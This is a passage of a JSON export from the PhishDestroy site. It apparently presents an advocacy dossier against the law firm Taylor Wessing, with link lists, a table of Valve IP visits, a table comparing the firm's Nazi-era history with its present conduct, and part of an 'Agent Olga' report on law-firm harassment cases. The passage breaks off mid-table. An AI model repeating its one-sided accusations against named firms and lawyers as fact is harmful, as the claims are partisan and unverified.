            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing_assets/case-comparison-after.png"
          },
          {
            "label": "Enlarge screenshot",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing_assets/case-pdf-redacted.png"
          },
          {
            "label": "Enlarge screenshot",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing_assets/case-pdf-text.png"
          },
          {
            "label": "RIPE NCC · attribution lookup ↗",
            "url": "https://stat.ripe.net/data/prefix-overview/data.json?resource=208.64.203.19"
          },
          {
            "label": "Enlarge screenshot",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing_assets/case-first-row.png"
          },
          {
            "label": "Enlarge the original page",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing_assets/goltz-biography.webp"
          },
          {
            "label": "Open the library record ↗",
            "url": "https://www.digitale-sammlungen.de/en/view/bsb00000146?page=224"
          },
          {
            "label": "Full-resolution scan ↗",
            "url": "https://api.digitale-sammlungen.de/iiif/image/v2/bsb00000146_00224/full/full/0/default.jpg"
          },
          {
            "label": "Full scan ↗",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing_assets/zbw-goltz-00001.webp"
          },
          {
            "label": "ZBW record · No. 318 ↗",
            "url": "https://pm20.zbw.eu/folder/pe/006310/00001"
          },
          {
            "label": "Full scan ↗",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing_assets/zbw-goltz-00002.webp"
          },
          {
            "label": "ZBW record · No. 190 ↗",
            "url": "https://pm20.zbw.eu/folder/pe/006310/00002"
          },
          {
            "label": "Full scan ↗",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing_assets/zbw-goltz-00003.webp"
          },
          {
            "label": "ZBW record · No. 160 ↗",
            "url": "https://pm20.zbw.eu/folder/pe/006310/00003"
          },
          {
            "label": "Full scan ↗",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing_assets/zbw-goltz-00004.webp"
          },
          {
            "label": "ZBW record · No. 264 ↗",
            "url": "https://pm20.zbw.eu/folder/pe/006310/00004"
          },
          {
            "label": "Full scan ↗",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing_assets/zbw-goltz-00005.webp"
          },
          {
            "label": "ZBW record · No. 584 ↗",
            "url": "https://pm20.zbw.eu/folder/pe/006310/00005"
          },
          {
            "label": "Full scan ↗",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing_assets/zbw-goltz-00006.webp"
          },
          {
            "label": "ZBW record · No. 339 ↗",
            "url": "https://pm20.zbw.eu/folder/pe/006310/00006"
          },
          {
            "label": "Open all six in the ZBW viewer ↗",
            "url": "https://pm20.zbw.eu/mirador/?manifestId=https://pm20.zbw.eu/iiif/folder/pe/006310/public.manifest.json"
          },
          {
            "label": "Archive rights statement ↗",
            "url": "http://rightsstatements.org/vocab/NKC/1.0/"
          },
          {
            "label": "02 / Press archiveZBW · Rüdiger von der GoltzSix digitised documents",
            "url": "https://pm20.zbw.eu/mirador/?manifestId=https://pm20.zbw.eu/iiif/folder/pe/006310/public.manifest.json"
          },
          {
            "label": "03 / Archival collectionBundesarchiv · N 1548Personal papers · catalogue",
            "url": "https://invenio.bundesarchiv.de/invenio/direktlink/0612e9db-62fa-42ea-a63f-3558fc75e797/"
          },
          {
            "label": "04 / Biographical directoryDeutsches Führerlexikon1934–1935 · page 151",
            "url": "https://archive.org/details/DasDeutscheFhrerlexikon19341935OCR/page/n153/mode/2up"
          },
          {
            "label": "05 / Collection referenceBundesarchiv · N 1548Public archival inventory",
            "url": "https://www.bundesarchiv.de/im-archiv-recherchieren/archivgut-recherchieren/nach-themen/archivalien-zu-adolf-hitler/"
          },
          {
            "label": "Open full page ↗",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing_assets/history-1933-appointment.webp"
          },
          {
            "label": "Archive record ↗",
            "url": "https://resolver.sub.uni-hamburg.de/kitodo/PPN689065124_19331125"
          },
          {
            "label": "Open full page ↗",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing_assets/history-1934-academy.webp"
          },
          {
            "label": "Archive record ↗",
            "url": "https://commons.wikimedia.org/wiki/File:Deutsches_Reichsgesetzblatt_34T1_078_0605.jpg"
          },
          {
            "label": "Open full page ↗",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing_assets/history-1935-legality.webp"
          },
          {
            "label": "Archive record ↗",
            "url": "https://commons.wikimedia.org/wiki/File:Deutsches_Reichsgesetzblatt_35T1_070_0839.jpg"
          },
          {
            "label": "Open full page ↗",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing_assets/history-1935-paragraph175.webp"
          },
          {
            "label": "Archive record ↗",
            "url": "https://commons.wikimedia.org/wiki/File:RGBl_1935_1_841.jpg"
          },
          {
            "label": "USHMM · the law and the persecution ↗",
            "url": "https://encyclopedia.ushmm.org/content/en/article/gay-men-under-the-nazi-regime"
          },
          {
            "label": "Bundesarchiv · digitised collections ↗",
            "url": "https://www.bundesarchiv.de/im-archiv-recherchieren/archivgut-recherchieren/digitalisierte-bestaende/"
          },
          {
            "label": "link",
            "url": "https://de.wikipedia.org/wiki/Taylor_Wessing"
          },
          {
            "label": "Rüdiger von der Goltz (Jurist)",
            "url": "https://de.wikipedia.org/wiki/R%C3%BCdiger_von_der_Goltz_(Jurist)"
          },
          {
            "label": "Enlarge screenshot",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing_assets/case-first-row.png"
          },
          {
            "label": "Enlarge screenshot",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing_assets/case-letter-signature.png"
          },
          {
            "label": "1938 Blomberg-Fritsch affair",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing#foundation"
          },
          {
            "label": "Enlarge screenshot",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing_assets/case-russian-reports.png"
          },
          {
            "label": "chronology and nickname analysis",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing#forensic-metrics"
          },
          {
            "label": "Inspect document",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing_assets/sdt-findings.webp"
          },
          {
            "label": "Inspect document",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing_assets/sdt-order.webp"
          },
          {
            "label": "Read the complete judgment (PDF) ↗",
            "url": "https://solicitorstribunal.org.uk/wp-content/uploads/2023/10/12393-2022.Hutchings-1_0.pdf"
          },
          {
            "label": "letters reproduced in Part I",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing#violence"
          },
          {
            "label": "chronology, nickname and text-identity analysis",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing#forensic-metrics"
          },
          {
            "label": "official English-language profile",
            "url": "https://www.taylorwessing.com/en/people/germany/hamburg/dr-tobias-schelinski"
          },
          {
            "label": "separate official profile",
            "url": "https://www.taylorwessing.com/en/people/germany/hamburg/patrick-vincent-zurheide"
          },
          {
            "label": "claim about what any court would decide",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing#corporate-power-record"
          },
          {
            "label": "released PDF",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing#evidence-redaction"
          },
          {
            "label": "GDPR, Articles 32–34",
            "url": "https://eur-lex.europa.eu/eli/reg/2016/679/oj/eng"
          },
          {
            "label": "Official GDPR text",
            "url": "https://eur-lex.europa.eu/eli/reg/2016/679/oj/eng"
          },
          {
            "label": "wider workflow review",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing#wider-process-review"
          },
          {
            "label": "20.8 release notes",
            "url": "https://releases.aspose.com/pdf/net/release-notes/2020/aspose-pdf-for-net-20-8-release-notes/"
          },
          {
            "label": "26.9 release notes",
            "url": "https://releases.aspose.com/pdf/net/release-notes/2026/aspose-pdf-for-net-26-9-release-notes/"
          },
          {
            "label": "Aspose licensing",
            "url": "https://docs.aspose.com/pdf/net/licensing/"
          },
          {
            "label": "Vendor explanation of renewal and perpetual use",
            "url": "https://forum.aspose.com/t/licence-renewal-question/313509"
          },
          {
            "label": "The resulting foothold and its consequences",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing#intrusion-foothold"
          },
          {
            "label": "Open diagram ↗",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing_assets/processing-risk.svg"
          },
          {
            "label": "TALOS-2019-0809 / CVE-2019-5042",
            "url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2019-0809"
          },
          {
            "label": "TALOS-2019-0855 / CVE-2019-5066",
            "url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2019-0855"
          },
          {
            "label": "EDPB Guidelines 01/2022 · right of access ↗",
            "url": "https://www.edpb.europa.eu/documents/guideline/guidelines-012022-on-data-subject-rights-right-of-access_en"
          },
          {
            "label": "Hessian data protection authority · history ↗",
            "url": "https://datenschutz.hessen.de/ueber-uns/geschichte-des-datenschutzes"
          },
          {
            "label": "Data protection authority of Baden-Württemberg · historical context ↗",
            "url": "https://www.baden-wuerttemberg.datenschutz.de/50-jahre-datenschutz-in-hessen/"
          },
          {
            "label": "project's published licence and terms",
            "url": "https://phishdestroy.io/steam_dossier/license_disclaimer"
          },
          {
            "label": "open-source PDF redaction toolkit",
            "url": "https://gitlab.com/phishdestroy/taylor-wessing-data-breach-toolkit"
          },
          {
            "label": "Telegram bot ↗",
            "url": "https://t.me/PhishDestroy_bot"
          },
          {
            "label": "PDF inspection toolkit ↗",
            "url": "https://gitlab.com/phishdestroy/taylor-wessing-data-breach-toolkit"
          },
          {
            "label": "01My Dog vs. Elite GDPR LawyersThe Valve Data Breach Nobody Is Talking About",
            "url": "https://phishdestroy.medium.com/my-dog-vs-elite-gdpr-lawyers-the-valve-data-breach-nobody-is-talking-about-f6f7683d813d"
          },
          {
            "label": "02My Dog vs. Elite Lawyers — Part 2The 5-Year PDF Vulnerability Exposing Global Corporations",
            "url": "https://phishdestroy.medium.com/my-dog-vs-elite-lawyers-part-2-the-5-year-pdf-vulnerability-exposing-global-corporations-81cdad269253"
          },
          {
            "label": "03My Dog vs. Elite Lawyers — Part 3Valve, GDPR and the Cover-Up",
            "url": "https://phishdestroy.medium.com/my-dog-vs-elite-lawyers-3-valve-gdpr-and-the-cover-up-dd003307e309"
          },
          {
            "label": "04My Dog vs. Elite Lawyers — Part 4Dr. Patrick, Your Own Document Just Destroyed Your Client",
            "url": "https://phishdestroy.medium.com/my-dog-vs-elite-lawyers-part-4-dr-patrick-your-own-document-just-destroyed-your-client-7d0d2b3708ae"
          },
          {
            "label": "our Wikipedia initiative",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing#wikipedia-initiative"
          },
          {
            "label": "Arweave protocol overview — storage endowment",
            "url": "https://github.com/ArweaveTeam/docs.arweave.org-info/blob/master/development/protocol/overview.md"
          },
          {
            "label": "Rüdiger Graf von der Goltz (lawyer) — Wikipedia EN",
            "url": "https://en.wikipedia.org/wiki/R%C3%BCdiger_Graf_von_der_Goltz_(lawyer)"
          },
          {
            "label": "Rüdiger von der Goltz (Jurist) — Wikipedia DE",
            "url": "https://de.wikipedia.org/wiki/R%C3%BCdiger_von_der_Goltz_(Jurist)"
          },
          {
            "label": "Taylor Wessing — Geschichte — Wikipedia DE",
            "url": "https://de.wikipedia.org/wiki/Taylor_Wessing#Geschichte"
          },
          {
            "label": "Printed page 223 · digital scan 224",
            "url": "https://www.digitale-sammlungen.de/en/view/bsb00000146?page=224"
          },
          {
            "label": "Blomberg–Fritsch affair — Wikipedia",
            "url": "https://en.wikipedia.org/wiki/Blomberg%E2%80%93Fritsch_affair"
          },
          {
            "label": "Blomberg-Fritsch-Krise — Wikipedia DE",
            "url": "https://de.wikipedia.org/wiki/Blomberg-Fritsch-Krise"
          },
          {
            "label": "SDT · Judgment 12393-2022 (PDF)",
            "url": "https://solicitorstribunal.org.uk/wp-content/uploads/2023/10/12393-2022.Hutchings-1_0.pdf"
          },
          {
            "label": "RollOnFriday · 16 October 2014",
            "url": "https://www.rollonfriday.com/news-content/exclusive-top-taylor-wessing-partner-stands-down-after-pulling-trainee"
          },
          {
            "label": "Legal Cheek · 15 October 2014",
            "url": "https://www.legalcheek.com/2014/10/taylor-wessing-goes-into-lockdown-to-protect-identity-of-partner-who-made-out-with-first-year-trainee-at-welcome-party/"
          },
          {
            "label": "Taylor Wessing · Stonewall Top 100",
            "url": "https://www.taylorwessing.com/fr/insights-and-events/news/media-centre/press-releases/2020/01/we-are-a-stonewall-top-100-employer-for-third-year-running"
          },
          {
            "label": "myGwork interview · Attitude",
            "url": "https://www.attitude.co.uk/uncategorised/taylor-wessings-creative-duo-robin-panrucker-and-toby-ney-on-promoting-lgbtq-inclusion-403364/"
          },
          {
            "label": "Taylor Wessing · LGBT+ impact report",
            "url": "https://responsible-business-impact-report.taylorwessing.com/2022/lgbt"
          },
          {
            "label": "Taylor Wessing — Wikipedia EN",
            "url": "https://en.wikipedia.org/wiki/Taylor_Wessing"
          },
          {
            "label": "Taylor Wessing · official 2026 timeline",
            "url": "https://www.taylorwessing.com/en/timeline"
          },
          {
            "label": "Open source ↗",
            "url": "https://resolver.sub.uni-hamburg.de/kitodo/PPN689065124_19331125"
          },
          {
            "label": "PDF · front page ↗",
            "url": "https://img.sub.uni-hamburg.de/kitodo/PPN689065124_19331125/PDF/PPN689065124_19331125.pdf#page=2"
          },
          {
            "label": "Open source ↗",
            "url": "https://api.pageplace.de/preview/DT0400.9783110892055_A36623967/preview-9783110892055_A36623967.pdf#page=16"
          },
          {
            "label": "Open source ↗",
            "url": "https://commons.wikimedia.org/wiki/File:Deutsches_Reichsgesetzblatt_34T1_078_0605.jpg"
          },
          {
            "label": "Open source ↗",
            "url": "https://de.wikisource.org/wiki/Gesetz_zur_%C3%84nderung_des_Strafgesetzbuchs_(1935)"
          },
          {
            "label": "Open source ↗",
            "url": "https://encyclopedia.ushmm.org/content/en/article/gay-men-under-the-nazi-regime"
          },
          {
            "label": "§175 · USHMM ↗",
            "url": "https://encyclopedia.ushmm.org/content/en/article/paragraph-175-and-the-nazi-campaign-against-homosexuality"
          },
          {
            "label": "Open source ↗",
            "url": "https://ci.nii.ac.jp/ncid/BB17180010"
          },
          {
            "label": "Open source ↗",
            "url": "https://www.sec.gov/Archives/edgar/data/2027360/000149315226026876/ex5-1.htm"
          },
          {
            "label": "Open source ↗",
            "url": "https://www.bundesarchiv.de/im-archiv-recherchieren/archivgut-recherchieren/digitalisierte-bestaende/"
          },
          {
            "label": "Agent protocol ↗",
            "url": "https://phishdestroy.io/steam_dossier/license_disclaimer#agent-protocol"
          }
        ],
        "tables": [
          {
            "id": "table-1",
            "caption": "Recorded access events · AWStats VISITOR records",
            "rows": [
              [
                "Recorded timestamp",
                "Host",
                "Page views",
                "Requests",
                "Bytes"
              ],
              [
                "(a)21 October 202516:59:23",
                "208.64.203.11gw.valvesoftware.comSeattle, Washington",
                "11",
                "34",
                "6,322,782"
              ],
              [
                "(b)16 February 202619:08:06",
                "208.64.203.19gw19.valvesoftware.comBellevue, Washington",
                "11",
                "65",
                "9,286,619"
              ],
              [
                "(c)17 February 202611:23:56",
                "208.64.203.20gw20.valvesoftware.comBellevue, Washington",
                "9",
                "62",
                "8,586,044"
              ],
              [
                "(d)31 August 202617:59:04",
                "208.64.203.20gw20.valvesoftware.comBellevue, Washington",
                "1",
                "3",
                "2,152,328"
              ]
            ]
          },
          {
            "id": "table-2",
            "caption": "",
            "rows": [
              [
                "1932–1945",
                "2025–2026"
              ],
              [
                "Legal servicing of a repressive machine",
                "Legal servicing of a billion-dollar client at any cost"
              ],
              [
                "Forgery and procedural games (the Fritsch case)",
                "Fabrication: 50 post-ban botnet reports instead of 1,954 real ones"
              ],
              [
                "Working within the machine that persecuted gays (§175)",
                "\"Pidor\" in an official document under a Stonewall rainbow flag"
              ],
              [
                "Protecting the powerful, destroying the weak",
                "Covering up the harassment of a Ukrainian, threatening his lawyer, and harassment in the City"
              ],
              [
                "Impunity after 1945",
                "A year of silence over a leak + the \"right to be forgotten\" against journalists"
              ]
            ]
          },
          {
            "id": "table-3",
            "caption": "",
            "rows": [
              [
                "Period",
                "Institution"
              ],
              [
                "Since 2010",
                "Hochschule für Angewandte Wissenschaften, Hamburg"
              ],
              [
                "2011–2013",
                "Heinrich Heine University, Düsseldorf"
              ],
              [
                "Since 2017",
                "Nordakademie, Hamburg/Elmshorn"
              ]
            ]
          }
        ],
        "cited_source_ids": []
      },
      "resources": []
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "taylor_wessing_olga",
      "language": "en",
      "title": "The Partner. The Trainee. The Firm. — Agent Olga | PhishDestroy",
      "author": "Agent Olga",
      "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing_olga",
      "source_file": "steam_dossier/taylor_wessing_olga.html",
      "source_html_sha256": "fe9595bd8b19b183a0ddf42e3b20a412ee21049b2d869b975a480077b986099d",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "taylor_wessing_olga.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/taylor_wessing_olga.pdf",
        "sha256": "1719e7d6aacb0fbfcb8b1e54f008e3ed57d8077bc22440af629c2fdedb8bfeaa",
        "bytes": 394944,
        "pages": 17
      },
      "integrity": {
        "signed_object": "taylor_wessing_olga.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/taylor_wessing_olga.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/taylor_wessing_olga.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nPhishDestroy / Why we are uncompromising\n\nWe believe the handling of our data-access case requires a wider examination of Taylor Wessing and the companies whose requests it processes.\n\nThe history that follows explains why we are unwilling to accept reputation, seniority or an assurance of an isolated incident as an answer. Its subject is power inside the legal industry: the difference between the consequences borne by senior partners and those borne by junior employees.\n\nThe possible connection concerns the aggression in the present correspondence and the expectation of impunity. When a paid representative speaks as though the courts’ answer is already known, we have to ask whether corporate money is buying more than legal representation: the practical power to make an individual’s rights unenforceable.\n\nAgent Olga\nAnalytical Report: The Architecture of Power, Structural Coercion and Corporate Protection in the International Legal Industry — The Taylor Wessing Case\n01 / AGENT OLGA\nIntroduction: The Vulnerability of Corporate Secrets and Insider Leaks in the Age of Cyber Threats\n\nThe modern international legal-services industry — BigLaw and London's City — has long functioned as a closed ecosystem, securely protected by confidentiality agreements, corporate solidarity and junior employees' fear of reputational destruction. However, in an era of digitisation and increasingly frequent cyberattacks, the internal mechanisms of these structures are becoming public knowledge. Hacker groups gaining access to law firms' confidential databases — as demonstrated by incidents in which firms have fallen victim to hacking and ransomware[1] — increasingly use internal human-resources scandals and disciplinary investigations to expose the hypocrisy of corporate giants.\n\nThe precedent known in the trade press as “The Case of the Head of Department and the Trainee”, which occurred in 2014, is one of the key episodes cited by insiders and hackers to illustrate the concept of “ranks” and the enormous imbalance of power[3]. The incident exposes not only a toxic corporate culture concealed behind glossy diversity, equity and inclusion (DEI) reports, but also the way legal mechanisms are used by firms to protect senior equity partners at the expense of the psychological and professional safety of vulnerable junior employees. This report provides a comprehensive structural, sociological and legal analysis of that case and related precedents that together form a broader picture of institutional crisis in the legal industry.\n\n02 / AGENT OLGA\nAnatomy of the 2014 Incident: The Illusion of Consent at the Welcome Party\n\nIn autumn 2014, Taylor Wessing, one of the leading international law firms, found itself at the centre of a scandal that quickly became a subject of discussion on specialist platforms such as RollOnFriday and Legal Cheek[3]. The events unfolded at an official corporate function: a welcome party traditionally organised to integrate a new intake of trainees into the firm's corporate environment[3].\n\nAccording to the documented leaks, one of the firm's most senior employees, a head of department, publicly engaged in intimate physical contact — described in the press as “made out” and “copped off” — with a female first-year trainee[3]. Journalists and witnesses emphasised that there were no signs of overt physical coercion[3]. However, the trade press immediately drew attention to the grotesque contrast between the participants: the reports suggested that the trainee had been attracted to a man who was “old enough to be her father but with several million in the bank”[3].\n\nTo understand why the absence of physical coercion does not negate exploitation, it is necessary to examine the parties' respective status. The following power-imbalance matrix illustrates the gulf between the participants.\n\nCharacteristic\tHead of Department (Equity Partner)\tFirst-Year Trainee\nCorporate status\tCo-owner of the business; senior management.\tThe lowest tier in the legal hierarchy.\nFinancial position\tMultimillion-pound wealth; a share of the firm's profits, with profits per equity partner measured in hundreds of thousands of pounds.\tA fixed starting salary, often burdened in the City by tens of thousands of pounds in student debt.\nInfluence over careers\tHas a veto over recruitment; allocates bonuses and valuable projects.\tEntirely dependent on partners' appraisals to obtain a permanent contract.\nLevel of protection\tProtected by capital, a client base and the corporate machine: the partner's revenue is the firm's revenue.\tEasily replaceable; dismissal means losing a profession and the investment made in education.\n03 / AGENT OLGA\nThe Phenomenology of the 80-Hour Working Week and Structural Coercion\n\nIn London's City firms and American BigLaw, trainees operate under extreme psychological and physical pressure. A junior lawyer's standard working week reaches 80 hours, involving regular night work, weekends and the complete erosion of the boundary between personal life and professional duties. Within this closed ecosystem, partners acquire the status of demigods. Trainees effectively worship them, because the qualification system — obtaining a permanent contract after two years of training, the so-called NQ status — is built entirely around those partners' subjective appraisals[5].\n\nWhen a head of department shows romantic or sexual interest in a trainee, the concept of informed and free consent is entirely nullified, giving way to structural coercion. At the moment of the incident at the party, the female trainee faces an insoluble dilemma:\n\nThe risk of refusal: Publicly or firmly rejecting a manager of that standing can wound his ego. In a culture where advancement depends on whether a partner considers someone a team player or a cultural fit, a rejected superior can destroy a trainee's career informally, by withholding interesting projects or providing negative assessments.\nThe illusion of submission: A young professional exhausted by 80-hour weeks and living with chronic stress often extends workplace subordination into personal boundaries. If a partner orders the trainee to remain in the office until 3 a.m., the trainee complies. When that same partner crosses personal boundaries at a corporate party, the same pattern of unquestioning submission to authority may be triggered.\n\nThus, the relationship between a head of department and a trainee is not an office romance but an exploitation of career vulnerability, in which the junior employee simply has no safe opportunity to say no[3].\n\n04 / AGENT OLGA\nThe “Lockdown” Strategy: Corporate Self-Defence and Sham Justice\n\nAs soon as rumours about the welcome-party incident began circulating in the City and attracted the attention of insider platforms such as RollOnFriday and Legal Cheek, Taylor Wessing immediately activated a crisis-management response characterised in the press as “lockdown”[3]. This is a textbook example of large corporations protecting their assets — successful partners — at the expense of transparency and ethical standards.\n\nInformation Blockade and Suppression of the Press\n\nThe firm's first priority was to conceal the partner's identity. City law firms possess an exceptionally powerful arsenal for intimidating the press, including threats of multimillion-pound defamation claims. As a result of this pressure, no publication named the head of department[3]. RollOnFriday, known for its sharp satire and active community, took the unprecedented step of not only withholding the participants' names but also disabling reader comments under the article entirely[4]. Taylor Wessing, approached directly by Legal Cheek, declined to provide any substantive further comment, citing confidentiality[3].\n\nThe Illusion of Punishment: A Symbolic Resignation\n\nInstead of dismissing the employee for a gross breach of corporate ethics, the firm issued a sterile official statement. A company representative said: “This is an isolated incident and one which the firm takes extremely seriously. The partner in question has reflected on his behaviour; he has decided to step down and is no longer in a leadership position.”3\n\nAnalysis of that decision reveals its entirely decorative nature. The man did leave his administrative position as head of department, relieving himself of its bureaucratic burden. However, he was not dismissed and retained his status as an equity partner3. He therefore remained a co-owner of the business, continued to receive a substantial share of the firm's profits and retained his influence in the office.\n\nFor the trainee, this meant a disastrous working environment. RollOnFriday emphasised that, because both the partner and the trainee remained at the same firm, the aggressor would “presumably still have some influence on her future career”[3]. Insiders rightly observed that in such situations one participant eventually leaves, and that it is usually not the revenue-generating partner — the rainmaker[3]. The lockdown response demonstrated that internal HR investigations in law firms are designed not to protect victims, but to minimise the corporation's reputational and financial losses.\n\nThe publicly reported outcomeTaylor Wessing · 2014\nHead of departmentStepped down.\n\nThe administrative leadership position was relinquished.\n\nEquity partnerStill a partner.\n\nThe position within the firm's ownership was retained.\n\nSources: Legal Cheek, 15 October 2014; RollOnFriday, 16 October 2014.\n05 / AGENT OLGA\nSystemic Objectification and Demographic Collapse: The Glass Ceiling\n\nThe Taylor Wessing incident cannot be treated as an isolated deviation. It is a symptom of an entrenched corporate culture — a boys' club — in which male dominance at the top is combined with the objectification of women further down the hierarchy.\n\nThe Demographic Gulf\n\nLegal Cheek's analysis identified striking statistics explaining the firm's structural chauvinism at the time of the incident. At Taylor Wessing, women constituted 53% of associates, creating the appearance of gender parity at recruitment level. Yet women represented only 15% of partners3.\n\nPosition (Taylor Wessing, 2014)\tWomen\tMen\tAuthority\nAssociates (employed lawyers)\t53%\t47%\tPerform the work; depend on appraisals.\nPartners (business owners)\t15%\t85%\tMake decisions; share profits.\n\nThese figures vividly demonstrate the glass ceiling. Power is concentrated in an overwhelming male majority of 85%, while the subordinate class consists predominantly of young women. In that patriarchal architecture, the inappropriateness of a male equity partner using his power to approach a female trainee “reaches a whole new level”[3].\n\nInstitutionalising Harassment: The “Kisses as Prizes” Incident\n\nAnother incident at the same firm confirms that the problem originates at the very top of the corporate hierarchy. Taylor Wessing's managing partner — the company's most senior executive — publicly offered staff “kisses from the newly appointed female chief operating officer” as a joke prize[9].\n\nIf the company's most senior leader considers it acceptable to turn a female executive's body into a corporate trophy for staff entertainment, the head of department's behaviour at a trainee party looks less like a violation of the rules than compliance with an unwritten corporate standard. The reaction of some partners to criticism of the incident — anonymously defending the boss on forums, calling critics “feminazis with hairy armpits” and praising management's sense of humour[9] — further confirms the toxic, hostile environment in which trainees had to survive.\n\nTaylor Wessing / 2014\nWomen in the firm\nAssociates\n53%\nPartners\n15%\n38percentage-point difference in women's representation between the two groups.\nSource: Legal Cheek, 15 October 2014. Separate workforce groups; this is not a promotion-rate calculation. Source 03 ↗\n06 / AGENT OLGA\nComparative Analysis: Impunity and Dysfunction in the Legal Industry\n\nTo demonstrate that the Taylor Wessing case reflects a systemic norm rather than an exception, it is necessary to examine similar precedents that shook the British legal market. These cases show how firms and regulators systematically fail to protect junior staff.\n\nThe Corporate Weapon: Non-Disclosure Agreements — Maples Teesdale\n\nAt roughly the same time, a similar scandal occurred at the specialist firm Maples Teesdale. A senior partner, referred to in the press as “Snoggo”, attempted to forcibly kiss a 20-year-old junior employee called “Eve”. When she rejected him, he denied the allegation and began a pattern of harassment, sending other trainees to deliver work to her and isolating her professionally[10].\n\nThe firm's response was drastic: backing the partner, management escorted the woman off the premises10. Unable to afford the legal costs of pursuing a tribunal case against corporate lawyers, she was forced to capitulate. She signed an NDA in exchange for a paltry payment of approximately £10,000, after which the partner retired comfortably and without scandal[10]. The case exposes a mechanism through which firms convert sexual-harassment complaints into routine financial expenses. The NDA becomes a legally sanctioned payment for silence, guaranteeing impunity for the aggressor.\n\nRegulatory Failure and the High Court: Freshfields — Ryan Beckwith\n\nOne of the most prominent cases concerned Ryan Beckwith, a 41-year-old married partner at Freshfields Bruckhaus Deringer. As the appraisal partner responsible for Person A — a junior female lawyer in her twenties — Beckwith initiated sexual contact with her after a work event when she was extremely intoxicated[5].\n\nThe Solicitors Disciplinary Tribunal initially found against him, delivering an unusually severe decision by industry standards, which stated:\n\nBeckwith held a supervisory role and was aware of the substantial imbalance of power[8].\nPerson A was extremely intoxicated, calling into question her capacity to give informed consent[8].\n\nHowever, Beckwith appealed to the High Court and won5. The court overturned the tribunal's decision, finding that the Solicitors Regulation Authority had exceeded its powers. The judges treated sexual contact between adults outside working hours as a private matter that did not directly discredit the profession unless criminal coercion was established[5].\n\nThe High Court decision dealt a devastating blow to the legal profession's #MeToo movement. It legally entrenched the state's refusal to recognise an asymmetry of power — where a partner appraises a trainee — as a form of coercion. The professional community reacted strongly: many commenters observed that, although Beckwith had cleared his name legally, his conduct remained morally unacceptable[5]. The precedent showed the SRA becoming a paper tiger, unable to protect trainees from corporate hierarchs[4].\n\nAlcohol Culture and Insufficient Evidence: King & Wood Mallesons\n\nThe difficulty of proving an aggressor's guilt in a corporate setting is illustrated by the case of Darren Roiser, the former managing partner of King & Wood Mallesons' London office. The SRA accused him of kissing a paralegal without consent during a drinking session before a Covid lockdown[13]. In 2025, the tribunal cleared the partner entirely13. The reason was the intoxication of both parties and the absence of CCTV footage[13].\n\nHeavy drinking is deeply embedded in law-firm culture. Drinking together is encouraged as a way to relieve the stress of an 80-hour week, but it also creates grey areas in which professional boundaries disappear. The next morning, alcohol-related memory loss can be used to blur the question of consent and undermine complainants' accounts[11].\n\n“Pits of Incest” and the Absurdity of the Supervisory Chain\n\nThe toxic erosion of boundaries can produce surreal consequences. In another case discussed by insiders, a partner — “Mr Partner” — began a relationship with a trainee — “Ms Trainee” — in his department[14]. The situation became disastrous not only because the partner was dismissed, but also because the trainee's immediate supervisor turned out to be the partner's wife[14]. The wife and the mistress consequently found themselves trapped in the same workplace[14]. Commenters described such firms as “pits of incest”, where professional standards are entirely displaced by feudal relationships[14].\n\nPrecedent\tYear\tFirm\tSenior person's status\tOutcome for the partner\tProtection mechanism / reason for regulatory failure\nHead of Department case\t2014\tTaylor Wessing\tEquity partner\tRetained equity and employment; stepped down as 